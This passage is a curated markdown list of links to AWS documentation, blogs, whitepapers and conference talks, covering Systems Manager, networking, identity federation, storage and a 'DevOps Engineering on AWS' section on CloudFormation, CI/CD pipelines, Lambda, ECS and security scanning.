* [How AWS Systems Manager Parameter Store uses AWS KMS](https://docs.aws.amazon.com/kms/latest/developerguide/services-parameter-store.html)
* [The Right Way to Store Secrets using Parameter Store](https://aws.amazon.com/blogs/mt/the-right-way-to-store-secrets-using-parameter-store/)
* [Use Parameter Store to Securely Access Secrets and Config Data in AWS CodeDeploy](https://aws.amazon.com/blogs/mt/use-parameter-store-to-securely-access-secrets-and-config-data-in-aws-codedeploy/)
* [Rotating Your AWS Secrets Manager Secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/rotating-secrets.html)
* [How to create and retrieve secrets managed in AWS Secrets Manager using AWS CloudFormation templates](https://aws.amazon.com/blogs/security/how-to-create-and-retrieve-secrets-managed-in-aws-secrets-manager-using-aws-cloudformation-template/)
* [Patching your Windows EC2 instances using AWS Systems Manager Patch Manager](https://aws.amazon.com/blogs/mt/patching-your-windows-ec2-instances-using-aws-systems-manager-patch-manager/)
* [How to patch Windows EC2 instances in private subnets Using AWS Systems Manager](https://aws.amazon.com/blogs/mt/how-to-patch-windows-ec2-instances-in-private-subnets-using-aws-systems-manager/)
* [How Moody’s uses AWS Systems Manager to patch servers across multiple cloud providers](https://aws.amazon.com/blogs/mt/how-moodys-uses-aws-systems-manager-to-patch-servers-across-multiple-cloud-providers/)
* [Windows Server Update Services on AWS](https://aws.amazon.com/quickstart/architecture/windows-server-update-services/)
* [How do I install .NET Framework 3.5 on an EC2 Windows instance that doesn't have internet access?](https://aws.amazon.com/premiumsupport/knowledge-center/net-framework-windows/)
* [How patches are installed - AWS Systems Manager](https://docs.aws.amazon.com/systems-manager/latest/userguide/patch-manager-how-it-works-installation.html)
* [How do I enable the EPEL repository for my Amazon EC2 instance running CentOS, RHEL, or Amazon Linux?](https://aws.amazon.com/premiumsupport/knowledge-center/ec2-enable-epel/)
* [Packaging to Distribution – Using AWS Systems Manager Distributor to deploy Datadog](https://aws.amazon.com/blogs/mt/packaging-to-distribution-using-aws-systems-manager-distributor-to-deploy-datadog/)
* [Taking Advantage of Amazon EC2 Spot Instance Interruption Notices](https://aws.amazon.com/blogs/compute/taking-advantage-of-amazon-ec2-spot-instance-interruption-notices/)
* [CPU credits and baseline utilization for burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-credits-baseline-concepts.html)
* [Understanding T2 Standard Instance CPU Credits](https://d1.awsstatic.com/whitepapers/t2-std-cpu-credits.pdf)
* [How do I stop and start Amazon EC2 instances at regular intervals using Lambda?](https://aws.amazon.com/premiumsupport/knowledge-center/start-stop-lambda-cloudwatch/)
* [How do I stop and start my instances using the AWS Instance Scheduler?](https://aws.amazon.com/premiumsupport/knowledge-center/stop-start-instance-scheduler/)
* [AWS Transit Gateway Egress VPC Demo](https://github.com/aws-samples/aws-transit-gateway-egress-vpc-demo)
* [Resolving DNS queries between VPCs and your network](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resolver.html)
* [Integrating your Directory Service’s DNS resolution with Amazon Route 53 Resolvers](https://aws.amazon.com/blogs/networking-and-content-delivery/integrating-your-directory-services-dns-resolution-with-amazon-route-53-resolvers/)
* [Securely Connect to Linux Instances Running in a Private Amazon VPC (Agent Forwarding)](https://aws.amazon.com/blogs/security/securely-connect-to-linux-instances-running-in-a-private-amazon-vpc/)
* [Do I need to set a static private IP address for an Amazon EC2 Windows instance?](https://aws.amazon.com/premiumsupport/knowledge-center/static-private-ip-windows/)
* [Why am I receiving the error message "You are not authorized to perform this operation" when I try to launch an EC2 instance?](https://aws.amazon.com/premiumsupport/knowledge-center/ec2-not-auth-launch/)
* [How to use Amazon AppStream 2.0 to reduce your bastion host attack surface](https://aws.amazon.com/blogs/security/how-to-use-amazon-appstream-2-0-to-reduce-your-bastion-host-attack-surface/)
* [New – Port Forwarding Using AWS System Manager Session Manager](https://aws.amazon.com/blogs/aws/new-port-forwarding-using-aws-system-manager-sessions-manager/)
* [Remote Desktop Gateway on AWS - AWS Quick Starts](https://aws.amazon.com/quickstart/architecture/rd-gateway/)
* [Announcing Lambda Support for PowerShell Core](https://aws.amazon.com/blogs/developer/announcing-lambda-support-for-powershell-core/)
* [A Simple Way to Export Your IAM Settings](https://aws.amazon.com/blogs/security/a-simple-way-to-export-your-iam-settings/)
* [Reset Your AWS Root Account’s Lost MFA Device Faster by Using the AWS Management Console](https://aws.amazon.com/blogs/security/reset-your-aws-root-accounts-lost-mfa-device-faster-by-using-the-aws-management-console/)
* [How can I reset the administrator password on an EC2 Windows instance?](https://aws.amazon.com/premiumsupport/knowledge-center/reset-admin-password/)
* [Securely Access Services Over AWS PrivateLink](https://d1.awsstatic.com/whitepapers/aws-privatelink.pdf)
* [Introducing AWS Gateway Load Balancer – Easy Deployment, Scalability, and High Availability for Partner Appliances](https://aws.amazon.com/blogs/aws/introducing-aws-gateway-load-balancer-easy-deployment-scalability-and-high-availability-for-partner-appliances/)
* [ELB Connection Draining – Remove Instances From Service With Care](https://aws.amazon.com/blogs/aws/elb-connection-draining-remove-instances-from-service-with-care/)
* [A subnet in use by load balancers in my VPC has insufficient IP addresses](https://aws.amazon.com/premiumsupport/knowledge-center/subnet-insufficient-ips/)
* [AWS Network Firewall – New Managed Firewall Service in VPC](https://aws.amazon.com/blogs/aws/aws-network-firewall-new-managed-firewall-service-in-vpc/)
* [Use Cases for AWS Managed Microsoft AD](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_use_cases.html)
* [Enabling SAML for your AWS resources](https://aws.amazon.com/identity/saml/)
* [Enabling Federation to AWS Using Windows Active Directory, ADFS, and SAML 2.0](https://aws.amazon.com/blogs/security/enabling-federation-to-aws-using-windows-active-directory-adfs-and-saml-2-0/)
* [How to automate SAML federation to multiple AWS accounts from Microsoft Azure Active Directory](https://aws.amazon.com/blogs/security/how-to-automate-saml-federation-to-multiple-aws-accounts-from-microsoft-azure-active-directory/)
* [How to Enable Your Users to Access Office 365 with AWS Managed Microsoft AD](https://aws.amazon.com/blogs/security/how-to-enable-your-users-to-access-office-365-with-aws-microsoft-active-directory-credentials/)
* [Enable Office 365 with AWS Managed Microsoft AD without user password synchronization](https://aws.amazon.com/blogs/security/enable-office-365-with-aws-managed-microsoft-ad-without-user-password-synchronization/)
* [How do I grant my Active Directory users access to the API or AWS CLI with AD FS?](https://aws.amazon.com/premiumsupport/knowledge-center/adfs-grant-ad-access-api-cli/)
* [Managing domain membership of dynamic fleet of EC2 instances](https://aws.amazon.com/blogs/compute/managing-domain-membership-of-dynamic-fleet-of-ec2-instances/)
* [How to retrieve short-term credentials for CLI use with AWS Single Sign-on](https://aws.amazon.com/blogs/security/aws-single-sign-on-now-enables-command-line-interface-access-for-aws-accounts-using-corporate-credentials/)
* [How to Run ECS Windows Task with group Managed Service Account (gMSA)](https://aws.amazon.com/blogs/containers/how-to-run-ecs-windows-task-with-group-managed-service-account-gmsa/)
* [Automatically update instances in an Amazon ECS cluster using the AMI ID parameter](https://aws.amazon.com/blogs/compute/automatically-update-instances-in-an-amazon-ecs-cluster-using-the-ami-id-parameter/)
* [Managing Amazon EKS Clusters with Rancher](https://aws.amazon.com/blogs/opensource/managing-eks-clusters-rancher/)
* [AWS Batch Use cases](https://aws.amazon.com/batch/use-cases/)
* [Build Your Own Face Recognition Service Using Amazon Rekognition](https://aws.amazon.com/blogs/machine-learning/build-your-own-face-recognition-service-using-amazon-rekognition/)
* [Using Amazon RDS Proxy with AWS Lambda](https://aws.amazon.com/blogs/compute/using-amazon-rds-proxy-with-aws-lambda/)
* [Use Amazon WorkSpaces on Your Samsung Galaxy S8/S8+ With the New Samsung DeX](https://aws.amazon.com/blogs/aws/use-amazon-workspaces-on-your-samsung-galaxy-s8s8-with-the-new-samsung-dex/)
* [How can I use DataSync to transfer data from an Amazon EFS file system to an Amazon S3 bucket?](https://aws.amazon.com/premiumsupport/knowledge-center/datasync-transfer-efs-s3/)
* [AWS DataSync Demo - Easily Transfer Data to and From AWS Up to 10x Faster](https://youtu.be/_qhTF-gB-JE)
* [New – Amazon FSx for Windows File Server – Fast, Fully Managed, and Secure](https://aws.amazon.com/blogs/aws/new-amazon-fsx-for-windows-file-server-fast-fully-managed-and-secure/)
* [Working with Shadow Copies](https://docs.aws.amazon.com/fsx/latest/WindowsGuide/shadow-copies-fsxW.html)
* [Deploying Multi-AZ File Systems](https://docs.aws.amazon.com/fsx/latest/WindowsGuide/multi-az-deployments.html)
* [Amazon FSx for Windows File Server, Capítulo 1 – Criando e configurando](https://aws.amazon.com/pt/blogs/aws-brasil/amazon-fsx-for-windows-file-server-capitulo-1-criando-e-configurando/)
* [Amazon FSx for Windows File Server, Capítulo 2 – Mais funcionalidades: Shadow Copy, DFS Namespace, Data Deduplication e Quotas](https://aws.amazon.com/pt/blogs/aws-brasil/amazon-fsx-for-windows-file-server-capitulo-2-mais-funcionalidades-shadow-copy-dfs-namespace-data-deduplication-e-quotas/)
* [Amazon FSx for Windows File Server, Capítulo 3 – Mapeando o FSx para servidores Linux](https://aws.amazon.com/pt/blogs/aws-brasil/amazon-fsx-for-windows-file-server-capitulo-3-mapeando-o-fsx-para-servidores-linux/)
* [Amazon FSx for Windows File Server, Capítulo 4 – Migrando dados com o AWS DataSync (Cenário de Multi-Região)](https://aws.amazon.com/pt/blogs/aws-brasil/amazon-fsx-for-windows-file-server-capitulo-4-migrando-dados-com-o-aws-datasync-cenario-de-multi-regiao/)
* [Achieving 80,000 IOPS for SQL Server on AWS EC2 and EBS](https://youtu.be/Uv9zjdeFUhg)
* [New – EBS Direct APIs – Programmatic Access to EBS Snapshot Content](https://aws.amazon.com/blogs/aws/new-programmatic-access-to-ebs-snapshot-content/)
* [AWS re:Invent 2018: Powering Next-Gen EC2 Instances: Deep Dive into the Nitro System](https://youtu.be/e8DVmwj3OEs)
* [AWS re:Inforce 2019: Security benefits of the Nitro architecture](https://youtu.be/kN9XcFp5vUM)
* [How Amazon Uses Explosive-Resistant Devices To Transfer Data To AWS (AWS Snowball)](https://youtu.be/H3_ZqnqLyVo)
* [AWS OpsHub for Snow Family](https://youtu.be/_A3A47Vuu0I)
* [Amazon S3 performance and cost optimization](https://d1.awsstatic.com/events/reinvent/2019/REPEAT_4_Amazon_S3_performance_and_cost_optimization_STG320-R4.pdf)
* [Protecting Amazon S3 Against Object Deletion (S3 "Recycle Bin")](https://d0.awsstatic.com/whitepapers/protecting-s3-against-object-deletion.pdf)
* [What are the differences between data and management events in CloudTrail?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-data-management-events/)
* [AWS Compute Optimizer – Your Customized Resource Optimization Service](https://aws.amazon.com/blogs/aws/aws-compute-optimizer-your-customized-resource-optimization-service/)
* [Amazon CloudWatch Concepts](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html)
* [CloudWatch Logs Agent Reference](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/AgentReference.html)
* [CloudWatch Events Tutorials](https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/CloudWatch-Events-Tutorials.html)
* [Monitoring Trusted Advisor with Amazon CloudWatch Events and Amazon CloudWatch](https://docs.aws.amazon.com/awssupport/latest/user/cloudwatch-ta.html)
* [AWS Trusted Advisor Aggregator](https://splunkbase.splunk.com/app/4207/)
* [Monitoring Amazon GuardDuty Findings with Amazon CloudWatch Events ](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_findings_cloudwatch.html)
* [How Does AWS CloudFormation Work?](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-whatis-howdoesitwork.html)
* [How do I resolve AWS CloudFormation template validation errors or template format errors?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudformation-template-validation/)
* [Up your AWS CloudFormation testing game using TaskCat](https://aws.amazon.com/blogs/infrastructure-and-automation/up-your-aws-cloudformation-testing-game-using-taskcat/)
* [A deep dive into testing with TaskCat](https://aws.amazon.com/blogs/infrastructure-and-automation/a-deep-dive-into-testing-with-taskcat/)
* [Creating a Stack on the AWS CloudFormation Console](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-console-create-stack.html)
* [New – Import Existing Resources into a CloudFormation Stack](https://aws.amazon.com/blogs/aws/new-import-existing-resources-into-a-cloudformation-stack/)
* [How do I prevent the resources in my AWS CloudFormation stack from getting deleted or updated?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudformation-accidental-updates/)
* [Template Snippets](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/CHAP_TemplateQuickRef.html)
* [AWS CloudFormation Update – Public Coverage Roadmap & CDK Goodies](https://aws.amazon.com/blogs/aws/aws-cloudformation-update-public-coverage-roadmap-cdk-goodies/)
* [AWS re:Invent 2019: Deep dive into AWS Cloud Development Kit](https://youtu.be/9As_ZIjUGmY)
* [AWS re:Invent 2019: Infrastructure as .NET with the AWS CDK](https://youtu.be/cxaFQMWMs7g)
* [Getting Started with AWS Support](https://docs.aws.amazon.com/awssupport/latest/user/getting-started.html)
* [AWS Tagging Best Practices](https://d1.awsstatic.com/whitepapers/aws-tagging-best-practices.pdf)
* [AWS re:Invent 2015: A Day in the Life of a Netflix Engineer](https://youtu.be/-mL3zT1iIKw)
* [AWS re:Invent 2016: Another Day in the Life of a Netflix Engineer](https://youtu.be/aWgtRKfrtMY)
* [AWS re:Invent 2017: A Day in the Life of a Netflix Engineer III](https://youtu.be/T_D1G42G0dE)
* [AWS re:Invent 2018: Another Day in the Life of a Cloud Network Engineer at Netflix](https://youtu.be/95nfMj4PVDA)
* [AWS re:Invent 2019: A day in the life of a Netflix engineer IV](https://youtu.be/0QS1TWLooo0)
* [Conformity Monkey](https://github.com/Netflix/SimianArmy/wiki/Conformity-Home)
### DevOps Engineering on AWS
* [Introduction to DevOps on AWS](http://d0.awsstatic.com/whitepapers/AWS_DevOps.pdf)
* [DevOps and AWS (Case Studies)](https://aws.amazon.com/devops/)
* [What Team Structure is Right for DevOps to Flourish?](https://web.devopstopologies.com/#)
* [What is Continuous Delivery?](https://aws.amazon.com/devops/continuous-delivery/)
* [What is Continuous Integration?](https://aws.amazon.com/devops/continuous-integration/)
* [Configuration Drift: Phoenix Server vs Snowflake Server Comic](https://www.digitalocean.com/community/tutorials/configuration-drift-phoenix-server-vs-snowflake-server-comic)
* [Walkthrough: Refer to resource outputs in another AWS CloudFormation stack](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/walkthrough-crossstackref.html)
* [AWS CloudFormation Sample templates](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/conditions-sample-templates.html)
* [AWS CloudFormation best practices](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/best-practices.html)
* [CloudFormation helper scripts reference](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-helper-scripts-reference.html)
* [Integrating AWS CloudFormation Guard into CI/CD pipelines](https://aws.amazon.com/blogs/devops/integrating-aws-cloudformation-guard/)
* [Introducing AWS CloudFormation Guard 2.0](https://aws.amazon.com/blogs/mt/introducing-aws-cloudformation-guard-2-0/)
* [Using OPA to create AWS Config rules](https://aws.amazon.com/blogs/mt/using-opa-to-create-aws-config-rules/)
* [CloudFormation Update – CLI + Third-Party Resource Support + Registry](https://aws.amazon.com/blogs/aws/cloudformation-update-cli-third-party-resource-support-registry/)
* [Infrastructure as Code](https://d1.awsstatic.com/whitepapers/DevOps/infrastructure-as-code.pdf?trk=wp_card)
* [AWS CDK examples](https://docs.aws.amazon.com/cdk/latest/guide/about_examples.html)
* [CDK Pipelines: Continuous delivery for AWS CDK applications](https://aws.amazon.com/blogs/developer/cdk-pipelines-continuous-delivery-for-aws-cdk-applications/)
* [AWS CLI - Command completion](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-completion.html)
* [Error retries and exponential backoff in AWS](https://docs.aws.amazon.com/general/latest/gr/api-retries.html)
* [AWS SAM resource and property reference](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-specification-resources-and-properties.html)
* [Practicing Continuous Integration and Continuous Delivery on AWS](https://d0.awsstatic.com/whitepapers/DevOps/practicing-continuous-integration-continuous-delivery-on-AWS.pdf)
* [Using Federated Identities with AWS CodeCommit](https://aws.amazon.com/blogs/devops/using-federated-identities-with-aws-codecommit/)
* [Migrate a repository incrementally](https://docs.aws.amazon.com/codecommit/latest/userguide/how-to-push-large-repositories.html)
* [Working with repositories in AWS CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/repositories.html)
* [Integrate GitHub monorepo with AWS CodePipeline to run project-specific CI/CD pipelines](https://aws.amazon.com/blogs/devops/integrate-github-monorepo-with-aws-codepipeline-to-run-project-specific-ci-cd-pipelines/)
* [Validating AWS CodeCommit Pull Requests with AWS CodeBuild and AWS Lambda](https://aws.amazon.com/blogs/devops/validating-aws-codecommit-pull-requests-with-aws-codebuild-and-aws-lambda/)
* [Tutorial: Create a simple pipeline (CodeCommit repository)](https://docs.aws.amazon.com/codepipeline/latest/userguide/tutorials-simple-codecommit.html)
* [Multi-branch CodePipeline strategy with event-driven architecture](https://aws.amazon.com/blogs/devops/multi-branch-codepipeline-strategy-with-event-driven-architecture/)
* [Building a Cross-account CI/CD Pipeline](https://cross-account-cicd-pipeline.workshop.aws/)
* [Building a CI/CD pipeline for cross-account deployment of an AWS Lambda API with the Serverless Framework](https://aws.amazon.com/blogs/devops/building-a-ci-cd-pipeline-for-cross-account-deployment-of-an-aws-lambda-api-with-the-serverless-framework/)
* [Amazon CodeGuru features](https://aws.amazon.com/codeguru/features/)
* [New- Amazon DevOps Guru Helps Identify Application Errors and Fixes](https://aws.amazon.com/blogs/aws/amazon-devops-guru-machine-learning-powered-service-identifies-application-errors-and-fixes/)
* [Software Package Management with AWS CodeArtifact](https://aws.amazon.com/blogs/aws/software-package-management-with-aws-codeartifact/)
* [Test Reports with AWS CodeBuild](https://aws.amazon.com/blogs/devops/test-reports-with-aws-codebuild/)
* [AWS Elastic Beanstalk sample for CodeBuild](https://docs.aws.amazon.com/codebuild/latest/userguide/sample-elastic-beanstalk.html)
* [Setting up a CI/CD pipeline by integrating Jenkins with AWS CodeBuild and AWS CodeDeploy](https://aws.amazon.com/blogs/devops/setting-up-a-ci-cd-pipeline-by-integrating-jenkins-with-aws-codebuild-and-aws-codedeploy/)
* [Building a Secure Cross-Account Continuous Delivery Pipeline](https://aws.amazon.com/blogs/devops/aws-building-a-secure-cross-account-continuous-delivery-pipeline/)
* [Building a CI/CD pipeline for cross-account deployment of an AWS Lambda API with the Serverless Framework](https://aws.amazon.com/blogs/devops/building-a-ci-cd-pipeline-for-cross-account-deployment-of-an-aws-lambda-api-with-the-serverless-framework/)
* [AWS CodeBuild Local Builds](https://hub.docker.com/r/amazon/aws-codebuild-local/)
* [Improve Build Performance and Save Time Using Local Caching in AWS CodeBuild](https://aws.amazon.com/blogs/devops/improve-build-performance-and-save-time-using-local-caching-in-aws-codebuild/)
* [Extending AWS CodeBuild with Custom Build Environments](https://aws.amazon.com/blogs/devops/extending-aws-codebuild-with-custom-build-environments/)
* [New – Building a Continuous Integration Workflow with Step Functions and AWS CodeBuild](https://aws.amazon.com/blogs/aws/new-building-a-continuous-integration-workflow-with-step-functions-and-aws-codebuild/)
* [Using AWS Step Functions State Machines to Handle Workflow-Driven AWS CodePipeline Actions](https://aws.amazon.com/blogs/devops/using-aws-step-functions-state-machines-to-handle-workflow-driven-aws-codepipeline-actions/)
* [Complete CI/CD with AWS CodeCommit, AWS CodeBuild, AWS CodeDeploy, and AWS CodePipeline](https://aws.amazon.com/blogs/devops/complete-ci-cd-with-aws-codecommit-aws-codebuild-aws-codedeploy-and-aws-codepipeline/)
* [AWS CodePipeline product integrations](https://aws.amazon.com/codepipeline/product-integrations/)
* [Integrations with CodePipeline action types](https://docs.aws.amazon.com/codepipeline/latest/userguide/integrations-action-type.html)
* [Implementing DevSecOps Using AWS CodePipeline](https://aws.amazon.com/blogs/devops/implementing-devsecops-using-aws-codepipeline/)
* [Detect and react to changes in pipeline state with Amazon CloudWatch Events](https://docs.aws.amazon.com/codepipeline/latest/userguide/detect-state-changes-cloudwatch-events.html)
* [Building a Secure Cross-Account Continuous Delivery Pipeline](https://aws.amazon.com/blogs/devops/aws-building-a-secure-cross-account-continuous-delivery-pipeline/)
* [Create a pipeline in CodePipeline that uses resources from another AWS account](https://docs.aws.amazon.com/codepipeline/latest/userguide/pipelines-create-cross-account.html)
* [Integrating SonarCloud with AWS CodePipeline using AWS CodeBuild](https://aws.amazon.com/blogs/devops/integrating-sonarcloud-with-aws-codepipeline-using-aws-codebuild/)
* [Amazon ECS and Load balancer types](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/load-balancer-types.html)
* [How do I set up dynamic port mapping for Amazon ECS?](https://aws.amazon.com/premiumsupport/knowledge-center/dynamic-port-mapping-ecs/)
* [Building Windows containers with AWS CodePipeline and custom actions](https://aws.amazon.com/blogs/devops/building-windows-containers-with-aws-codepipeline-and-custom-actions/)
* [Easier way to control access to AWS regions using IAM policies](https://aws.amazon.com/blogs/security/easier-way-to-control-access-to-aws-regions-using-iam-policies/)
* [AWS: Denies access to AWS based on the requested Region](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_aws_deny-requested-region.html)
* [IAM Tutorial: Enable users to manage their credentials and MFA settings](https://docs.aws.amazon.com/IAM/latest/UserGuide/tutorial_users-self-manage-mfa-and-creds.html)
* [Integrating AWS CodeCommit with Jenkins](https://aws.amazon.com/blogs/devops/integrating-aws-codecommit-with-jenkins/)
* [Build specification reference for CodeBuild](https://docs.aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html)
* [CodeDeploy AppSpec File reference](https://docs.aws.amazon.com/codedeploy/latest/userguide/reference-appspec-file.html)
* [How to Test and Debug AWS CodeDeploy Locally Before You Ship Your Code](https://aws.amazon.com/blogs/devops/how-to-test-and-debug-aws-codedeploy-locally-before-you-ship-your-code/)
* [AWS CodeDeploy now supports linear and canary deployments for Amazon ECS](https://aws.amazon.com/blogs/containers/aws-codedeploy-now-supports-linear-and-canary-deployments-for-amazon-ecs/)
* [Overview of Deployment Options on AWS](https://d1.awsstatic.com/whitepapers/overview-of-deployment-options-on-aws.pdf)
* [Run code before terminating an EC2 Auto Scaling instance](https://aws.amazon.com/blogs/infrastructure-and-automation/run-code-before-terminating-an-ec2-auto-scaling-instance/)
* [Implementing Microservices on AWS](https://d1.awsstatic.com/whitepapers/microservices-on-aws.pdf)
* [Micro-frontend Architectures on AWS](https://aws.amazon.com/blogs/architecture/micro-frontend-architectures-on-aws/)
* [Substituindo o Monólito com a AWS, Micro Frontends e Modyo](https://aws.amazon.com/pt/blogs/aws-brasil/substituindo-o-monolito-com-a-aws-micro-frontends-e-modyo/)
* [Best practices for working with AWS Lambda functions](https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html)
* [Lambda quotas](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-limits.html)
* [Provisioned Concurrency scaling example](https://docs.aws.amazon.com/lambda/latest/operatorguide/provisioned-scaling.html)
* [Reserved concurrency](https://docs.aws.amazon.com/lambda/latest/operatorguide/reserved-concurrency.html)
* [Can I have common environment variables for a group of Lambda functions?](https://aws.amazon.com/premiumsupport/knowledge-center/lambda-common-environment-variables/)
* [Announcing improved VPC networking for AWS Lambda functions](https://aws.amazon.com/blogs/compute/announcing-improved-vpc-networking-for-aws-lambda-functions/)
* [Improved Testing on the AWS Lambda Console](https://aws.amazon.com/blogs/compute/improved-testing-on-the-aws-lambda-console/)
* [Understanding the Different Ways to Invoke Lambda Functions](https://aws.amazon.com/blogs/architecture/understanding-the-different-ways-to-invoke-lambda-functions/)
* [Serverless COBOL: Rejuvenating legacy code with open source software — Part 1](https://aws.amazon.com/blogs/opensource/serverless-cobol-rejuvenating-legacy-code-with-open-source-software/)
* [Serverless COBOL: Rejuvenating legacy code with open source software — Part 2](https://aws.amazon.com/blogs/opensource/serverless-cobol-rejuvenating-legacy-code-with-open-source-software-part-2/)
* [AWS SAM template anatomy](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-specification-template-anatomy.html)
* [Error handling in Step Functions](https://docs.aws.amazon.com/step-functions/latest/dg/concepts-error-handling.html)
* [Wait in Step Functions](https://docs.aws.amazon.com/step-functions/latest/dg/amazon-states-language-wait-state.html)
* [How to update AWS Service Catalog provisioned products to new product versions and report changes using AWS Step Functions, AWS Lambda, and Amazon Athena](https://aws.amazon.com/blogs/mt/how-to-update-aws-service-catalog-provisioned-products-to-new-product-versions-and-report-changes-using-aws-step-functions-aws-lambda-and-amazon-athena/)
* [New – Local Mocking and Testing with the Amplify CLI](https://aws.amazon.com/blogs/aws/new-local-mocking-and-testing-with-the-amplify-cli/)
* [Set up mock integrations in API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-mock-integration.html)
* [Enable mock integration using the API Gateway console](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-mock-integration-console.html)
* [Deploying Serverless Applications Gradually](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/automating-updates-to-serverless-apps.html)
* [Applying the Twelve-Factor App Methodology to Serverless Applications](https://aws.amazon.com/blogs/compute/applying-the-twelve-factor-app-methodology-to-serverless-applications/)
* [Deploying applications to Elastic Beanstalk environments](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/using-features.deploy-existing-version.html)
* [Set up a Continuous Deployment Pipeline using AWS CodePipeline and AWS Elastic Beanstalk](https://aws.amazon.com/getting-started/hands-on/continuous-deployment-pipeline/)
* [Docker basics for Amazon ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html)
* [Automating rollback of failed Amazon ECS deployments](https://aws.amazon.com/blogs/compute/automating-rollback-of-failed-amazon-ecs-deployments/)
* [Build a Continuous Delivery Pipeline for Your Container Images with Amazon ECR as Source](https://aws.amazon.com/blogs/devops/build-a-continuous-delivery-pipeline-for-your-container-images-with-amazon-ecr-as-source/)
* [Amazon ECS Task Placement Strategies](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-placement-strategies.html)
* [Private Registry Authentication for Tasks](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/private-auth.html)
* [How Amazon ECS manages CPU and memory resources](https://aws.amazon.com/blogs/containers/how-amazon-ecs-manages-cpu-and-memory-resources/)
* [How can I allocate memory to tasks in Amazon ECS?](https://aws.amazon.com/premiumsupport/knowledge-center/allocate-ecs-memory-tasks/)
* [Image scanning - Amazon ECR](https://docs.aws.amazon.com/AmazonECR/latest/userguide/image-scanning.html)
* [Scanning Docker Images for Vulnerabilities using Clair, Amazon ECS, ECR, and AWS CodePipeline](https://aws.amazon.com/blogs/compute/scanning-docker-images-for-vulnerabilities-using-clair-amazon-ecs-ecr-aws-codepipeline/)
* [How the Bottlerocket build system works](https://aws.amazon.com/blogs/opensource/how-the-bottlerocket-build-system-works/)
* [Implementing DevSecOps Using AWS CodePipeline](https://aws.amazon.com/blogs/devops/implementing-devsecops-using-aws-codepipeline/)
* [Building end-to-end AWS DevSecOps CI/CD pipeline with open source SCA, SAST and DAST tools](https://aws.amazon.com/blogs/devops/building-end-to-end-aws-devsecops-ci-cd-pipeline-with-open-source-sca-sast-and-dast-tools/)
* [How to Bake Open Source Security into Your AWS CodeBuild Pipeline](https://aws.amazon.com/blogs/apn/how-to-bake-open-source-security-into-your-aws-codebuild-pipeline/)
* [Scanning images with Trivy in an AWS CodePipeline](https://aws.amazon.com/blogs/containers/scanning-images-with-trivy-in-an-aws-codepipeline/)
* [How to Bake Open Source Security into Your AWS CodeBuild Pipeline](https://aws.amazon.com/blogs/apn/how-to-bake-open-source-security-into-your-aws-codebuild-pipeline/)
* [Integrating AWS CloudFormation security tests with AWS Security Hub and AWS CodeBuild reports](https://aws.amazon.com/blogs/security/integrating-aws-cloudformation-security-tests-with-aws-security-hub-and-aws-codebuild-reports/)
* [Using AWS CodePipeline, AWS CodeBuild, and AWS Lambda for Serverless Automated UI Testing](https://aws.amazon.com/blogs/devops/using-aws-codepipeline-aws-codebuild-and-aws-lambda-for-serverless-automated-ui-testing/)
* [Fine-tuning blue/green deployments on application load balancer](https://aws.amazon.com/blogs/devops/blue-green-deployments-with-application-load-balancer/)
* [Tutorial: Creating a service using a blue/green deployment](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-blue-green.html)
* [Automating Blue/Green Deployments of Infrastructure and Application Code using AMIs, AWS Developer Tools, & Amazon EC2 Systems Manager](https://aws.amazon.com/blogs/devops/bluegreen-infrastructure-application-deployment-blog/)
* [Automate OS Image Build Pipelines with EC2 Image Builder](https://aws.amazon.com/blogs/aws/automate-os-image-build-pipelines-with-ec2-image-builder/)
* [Use AWS CodeDeploy to Implement Blue/Green Deployments for AWS Fargate and Amazon ECS](https://aws.amazon.com/blogs/devops/use-aws-codedeploy-to-implement-blue-green-deployments-for-aws-fargate-and-amazon-ecs/)
* [Performing Blue/Green Deployments with AWS CodeDeploy and Auto Scaling Groups](https://aws.amazon.com/blogs/devops/performing-bluegreen-deployments-with-aws-codedeploy-and-auto-scaling-groups/)
* [Create immutable servers using EC2 Image Builder and AWS CodePipeline](https://aws.amazon.com/blogs/mt/create-immutable-servers-using-ec2-image-builder-aws-codepipeline/)
* [Task Definition Parameters](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html)
* [Example task definitions](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/example_task_definitions.html)
* [Continuous Deployment to Amazon ECS using AWS CodePipeline, AWS CodeBuild, Amazon ECR, and AWS CloudFormation](https://aws.amazon.com/blogs/compute/continuous-deployment-to-amazon-ecs-using-aws-codepipeline-aws-codebuild-amazon-ecr-and-aws-cloudformation/)
